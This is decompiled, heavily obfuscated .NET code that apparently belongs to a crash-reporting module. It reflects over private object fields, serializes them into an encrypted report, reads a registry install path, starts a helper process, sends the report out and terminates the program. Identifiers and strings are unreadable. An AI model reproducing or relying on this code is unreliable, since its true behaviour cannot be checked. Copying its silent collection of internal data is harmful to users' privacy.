\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), index1.ToString());
string str = (string) null;
try
{
str = \u0003\u0006.\u007E\u0013\u0003(obj3);
str = !\u0008\u0003.\u0081\u0003(str, \u0003\u0006.\u007E\u0013\u0005((object) type)) ? (!\u009E\u0005.\u007E\u001E\u0005((object) type) ? (!(obj3 is Guid) ? \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), str, \u0006.\u0001(1278)) : \u0091\u0005.\u0096\u0003(\u0006.\u0001(698), str, \u0006.\u0001(1273))) : \u0015\u0004.\u007F\u0003(type, obj3, \u0006.\u0001(2111))) : (string) null;
}
catch
{
}
if (str != null)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), this.\u0003(str));
if (\u009E\u0005.\u007E\u0082\u0005((object) type))
{
this.\u0003(\u0011\u0004.\u007E\u0083\u0005((object) type));
if (\u009E\u0005.\u007E\u007F\u0005((object) type))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1193), \u0006.\u0001(1041));
if (\u009E\u0005.\u007E\u0080\u0005((object) type))
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1202), \u0006.\u0001(1041));
if (\u009E\u0005.\u007E\u001F\u0005((object) type))
{
Array array = (Array) obj3;
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1215), \u008A\u0005.\u007E\u001C\u0003((object) array).ToString());
StringBuilder stringBuilder1 = new StringBuilder();
for (int index2 = 0; index2 < \u008A\u0005.\u007E\u001C\u0003((object) array); ++index2)
{
if (index2 > 0)
{
StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ',');
}
StringBuilder stringBuilder3 = \u0088\u0003.\u007E\u009C\u0003((object) stringBuilder1, \u0099\u0005.\u007E\u001B\u0003((object) array, index2));
}
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1741), \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1));
if (\u008A\u0005.\u007E\u001C\u0003((object) array) == 1)
{
int num11 = \u008A\u0005.\u007E\u001A\u0003((object) array);
for (int index3 = 0; index3 < num11; ++index3)
{
if (index3 == 10)
{
if (num11 > 16)
index3 = num11 - 5;
}
try
{
this.\u0003(\u0081\u0005.\u007E\u0019\u0003((object) array, index3), (FieldInfo) null);
}
catch
{
}
}
}
}
}
else
{
this.\u0003(type);
if (index1 < num10)
{
if (obj3 is IEnumerable)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2116));
try
{
int num12 = 0;
IEnumerator enumerator2 = \u0083\u0004.\u007E\u0016\u0003((object) (IEnumerable) obj3);
try
{
while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator2))
{
object obj4 = \u0010\u0005.\u007E\u001E\u0003((object) enumerator2);
if (num12 > 20)
{
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(2133), string.Empty);
break;
}
this.\u0003(obj4, (FieldInfo) null);
++num12;
}
}
finally
{
if (enumerator2 is IDisposable disposable)
\u0087\u0005.\u007E\u001F\u0003((object) disposable);
}
}
catch
{
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
bool flag = true;
while ((object) type != null)
{
if (!flag)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2142));
this.\u0003(type);
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
FieldInfo[] fieldInfoArray = \u0096\u0003.\u007E\u001B\u0005((object) type, BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic);
if (fieldInfoArray.Length > 0)
{
for (int index4 = 0; index4 < fieldInfoArray.Length; ++index4)
{
try
{
if (!\u009E\u0005.\u007E\u0098\u0006((object) fieldInfoArray[index4]))
{
if (\u009E\u0005.\u007E\u0096\u0006((object) fieldInfoArray[index4]))
{
if (\u009E\u0005.\u007E\u0097\u0006((object) fieldInfoArray[index4]))
continue;
}
this.\u0003(\u0083\u0005.\u007E\u0094\u0006((object) fieldInfoArray[index4], obj3), fieldInfoArray[index4]);
}
}
catch
{
}
}
}
type = \u0011\u0004.\u007E\u0016\u0005((object) type);
flag = false;
if (this.\u0003(type).\u0003())
break;
}
}
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2159));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2172), \u008A\u0005.\u007E\u009A\u0005((object) this.\u0002).ToString());
for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0002); ++index)
{
string empty = string.Empty;
string str;
try
{
str = \u0003\u0006.\u007E\u0013\u0003(\u0081\u0005.\u007E\u009B\u0005((object) this.\u0002, index));
}
catch (Exception ex)
{
str = \u000E\u0005.\u0094\u0003((object) '"', (object) \u0003\u0006.\u007E\u0001\u0004((object) ex), (object) '"');
}
\u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1430), str);
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2181));
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2172), \u008A\u0005.\u007E\u009A\u0005((object) this.\u0003).ToString());
for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0003); ++index)
{
\u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1481));
\u0006.\u0002 obj = (\u0006.\u0002) \u0081\u0005.\u007E\u009B\u0005((object) this.\u0003, index);
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), obj.\u0001);
if (\u008A\u0005.\u007E\u0084\u0003((object) obj.\u0002) > 0)
\u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2198), obj.\u0002);
\u0087\u0005.\u007E\u0013((object) this.\u0001);
}
\u0087\u0005.\u007E\u0013((object) this.\u0001);
\u0087\u0005.\u007E\u0013((object) this.\u0001);
\u0087\u0005.\u007E\u0011((object) this.\u0001);
\u0087\u0005.\u007E\u0015((object) this.\u0001);
\u0087\u0005.\u007E\u0019\u0007((object) w);
return \u0095\u0002.\u007E\u008B\u0007((object) w);
}
internal bool \u0003([In] string obj0)
{
try
{
byte[] numArray1 = this.\u0003(\u008E\u0004.\u0095\u0004().ToString(\u0006.\u0001(1376)));
FileStream fileStream = \u0003\u0005.\u0087\u0007(obj0);
byte[] numArray2 = \u0003.\u0005.\u0003(\u0006.\u0004(numArray1), \u0006.\u0001(2211));
byte[] numArray3 = \u0019\u0005.\u007E\u009F\u0006((object) \u001F\u0003.\u009E\u0006(), \u0006.\u0001(1498));
\u009B\u0005.\u007E\u001D\u0007((object) fileStream, numArray3, 0, numArray3.Length);
\u009B\u0005.\u007E\u001D\u0007((object) fileStream, numArray2, 0, numArray2.Length);
\u0087\u0005.\u007E\u0018\u0007((object) fileStream);
return true;
}
catch (ThreadAbortException ex)
{
return false;
}
catch (Exception ex)
{
return false;
}
}
internal void \u0003()
{
try
{
string str1 = \u009E\u0003.\u008D\u0007();
this.\u0003(str1);
string str2 = this.\u0004(\u0006.\u0001(1569));
if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && !\u0087\u0003.\u007E\u0089\u0003((object) str2, \u0006.\u0001(2537)))
str2 = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2537));
Process process = \u008A\u0003.\u0081\u0008(\u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2542)), \u0091\u0005.\u0096\u0003(\u0006.\u0001(2571), str1, \u0006.\u0001(1278)));
if (this.\u0001 == null)
return;
\u0011\u0003.\u007E\u0092\u0004((object) this.\u0001, (object) this, EventArgs.Empty);
}
catch (ThreadAbortException ex)
{
}
catch (Exception ex)
{
this.\u0003(new \u0004.\u0005(ex));
}
}
internal bool \u0003()
{
try
{
if (this.\u0001 != null)
goto label_35;
label_1:
byte[] numArray1;
try
{
numArray1 = this.\u0003(string.Empty);
}
catch (Exception ex)
{
int num = -1;
try
{
StackTrace stackTrace = new StackTrace(ex);
if (\u008A\u0005.\u007E\u0013\u0006((object) stackTrace) > 0)
{
StackFrame stackFrame = \u0082\u0005.\u007E\u0014\u0006((object) stackTrace, \u008A\u0005.\u007E\u0013\u0006((object) stackTrace) - 1);
num = \u008A\u0005.\u007E\u0016\u0006((object) stackFrame);
}
}
catch
{
}
if (this.\u0001 != null)
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0090\u0005.\u0093\u0003(\u0006.\u0001(2600), (object) \u0003\u0006.\u007E\u0001\u0004((object) ex), (object) num)));
return false;
}
byte[] numArray2 = \u0006.\u0004(numArray1);
if (numArray2 == null)
{
if (this.\u0001 != null)
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0006.\u0001));
return false;
}
byte[] numArray3 = \u0003.\u0005.\u0003(numArray2, \u0006.\u0001(2211));
if (numArray3 == null)
{
if (this.\u0001 != null)
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001, \u0003.\u0005.\u0001));
return false;
}
if (this.\u0001 != null)
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0002));
\u0006 obj = new \u0006(\u0006.\u0001(2633));
if (this.\u0001 != null)
obj.\u0003(this.\u0001);
string str1 = obj.\u0003();
if (\u0008\u0003.\u0081\u0003(str1, \u0006.\u0001(2686)))
{
if (this.\u0001 != null)
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0003));
byte[] numArray4 = \u0019\u0005.\u007E\u009F\u0006((object) \u001F\u0003.\u009E\u0006(), \u0006.\u0001(1498));
byte[] numArray5 = new byte[numArray4.Length + numArray3.Length];
\u0005\u0006.\u0017\u0003((Array) numArray4, (Array) numArray5, numArray4.Length);
\u0081\u0004.\u0018\u0003((Array) numArray3, 0, (Array) numArray5, numArray4.Length, numArray3.Length);
string str2 = obj.\u0003(numArray5);
if (\u0087\u0003.\u007E\u008D\u0003((object) str2, \u0006.\u0001(2691)))
{
if (this.\u0001 != null)
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0003, str2));
return false;
}
if (this.\u0001 != null)
{
\u0004.\u0003 e = new \u0004.\u0003(\u0003.\u0002.\u0004);
e.\u0003(str2);
this.\u0001((object) this, e);
}
return true;
}
string str3 = str1;
if (this.\u0001 != null)
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0002, str3));
return false;
label_35:
this.\u0001((object) this, new \u0004.\u0003(\u0003.\u0002.\u0001));
goto label_1;
}
catch (ThreadAbortException ex)
{
return false;
}
catch (Exception ex)
{
this.\u0003(new \u0004.\u0005(ex));
return false;
}
}
private string \u0004([In] string obj0)
{
try
{
RegistryKey registryKey = \u009A\u0005.\u007E\u0008\u0007((object) Registry.LocalMachine, \u0006.\u0001(2696)) ?? \u009A\u0005.\u007E\u0008\u0007((object) Registry.LocalMachine, \u0006.\u0001(2729));
if (registryKey == null)
return string.Empty;
string str = (string) \u007F\u0004.\u007E\u000E\u0007((object) registryKey, obj0, (object) string.Empty);
\u0087\u0005.\u007E\u0007\u0007((object) registryKey);
return str;
}
catch
{
return string.Empty;
}
}
internal bool \u0003([In] SecurityException obj0)
{
\u0004.\u0004 obj = new \u0004.\u0004(obj0);
this.\u0003(obj);
if (obj.\u0005())
return false;
if (!obj.\u0004())
\u0016\u0005.\u007F();
return true;
}
internal string \u0004()
{
string str1 = Guid.Empty.ToString(\u0006.\u0001(1376));
try
{
string str2 = this.\u0004(\u0006.\u0001(1569));
if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && !\u0087\u0003.\u007E\u0089\u0003((object) str2, \u0006.\u0001(2537)))
str2 = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2537));
string url = \u0010\u0003.\u0095\u0003(str2, \u0006.\u0001(2778));
if (\u001E\u0005.\u0086\u0007(url))
{
XmlTextReader xmlTextReader = new XmlTextReader(url);
if (\u009E\u0005.\u007E\u0018((object) xmlTextReader))
str1 = \u008E\u0003.\u007E\u0017((object) xmlTextReader, \u0006.\u0001(2815));
\u0087\u0005.\u007E\u0019((object) xmlTextReader);
}
}
catch
{
}
return str1;
}
internal void \u0003([In] Exception obj0, [In] bool obj1)
{
if (obj0 == null || obj0 is ThreadAbortException)
return;
\u0006.\u0001 = true;
bool flag = true;
try
{
this.\u0001 = obj0;
this.\u0001 = (Hashtable) null;
this.\u0002 = (Hashtable) null;
\u0005.\u0002 obj2 = new \u0005.\u0002(this, obj0);
if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u008E\u0003((object) \u0006.\u0001(2633)), \u0003\u0006.\u007E\u008E\u0003((object) this.\u0004())))
obj2.\u0003();
\u0008\u0003 obj3 = \u0008\u0003.\u0081\u0003;
string str1 = \u0003\u0006.\u007E\u008E\u0003((object) \u0006.\u0001(2633));
Guid empty = Guid.Empty;
string str2 = \u0003\u0006.\u007E\u008E\u0003((object) empty.ToString(\u0006.\u0001(1376)));
if (obj3(str1, str2))
obj2.\u0004();
if (!obj1)
obj2.\u0005();
this.\u0003(obj2);
flag = !obj2.\u0006();
}
catch (ThreadAbortException ex)
{
}
catch (Exception ex)
{
this.\u0003(new \u0004.\u0005(ex));
}
this.\u0001 = (Exception) null;
this.\u0001 = (Hashtable) null;
this.\u0002 = (Hashtable) null;
\u0006.\u0001 = false;
if (!flag)
return;
foreach (Assembly assembly in \u009A\u0002.\u007E\u001E\u0004((object) \u0099\u0003.\u001D\u0004()))
{
try
{
string str = \u0003\u0006.\u007E\u0019\u0006((object) assembly);
if (\u0087\u0003.\u007E\u0089\u0003((object) str, \u0006.\u0001(2828)))
{
if (\u0087\u0003.\u007E\u008D\u0003((object) str, \u0006.\u0001(2853)))
{
object obj4 = \u0093\u0005.\u007E\u0090\u0006((object) \u0008\u0004.\u007E\u0099\u0006((object) \u0014\u0005.\u007E\u001C\u0005((object) \u0092\u0003.\u007E\u001A\u0006((object) assembly, \u0006.\u0001(2886)), \u0006.\u0001(2923))), (object) null, (object[]) null);
object obj5 = \u0093\u0005.\u007E\u0090\u0006((object) \u0012\u0005.\u007E\u0017\u0005((object) \u0011\u0004.\u007E\u0015\u0003(obj4), \u0006.\u0001(2936), new Type[0]), obj4, (object[]) null);
}
}
}
catch
{
}
}
\u0016\u0005.\u007F();
try
{
\u009D\u0005.\u008F\u0004(0);
}
catch
{
}
}
static \u0006()
{
\u0001.\u0003.\u0003();
\u0006.\u0001 = \u0006.\u0001(1041);
\u0006.\u0001 = false;
\u0006.\u0001 = (\u0006) null;
}
private struct \u0001
{
public string \u0001;
public string \u0002;
public string \u0003;
public int \u0001;
}
private struct \u0002
{
public string \u0001;
public string \u0002;
public \u0002([In] string obj0, [In] string obj1)
{
this.\u0001 = obj0;
this.\u0002 = obj1;
}
}
private struct \u0003
{
public string \u0001;
public \u0006.\u0002 \u0001;
[SpecialName]
public bool \u0003() => \u008A\u0005.\u007E\u0084\u0003((object) this.\u0001) == 0;
[SpecialName]
public static \u0006.\u0003 \u0003() => new \u0006.\u0003(string.Empty, string.Empty, string.Empty);
public \u0003([In] string obj0, [In] string obj1, [In] string obj2)
{
this.\u0001 = obj0;
this.\u0001 = new \u0006.\u0002(obj1, obj2);
}
}
}
}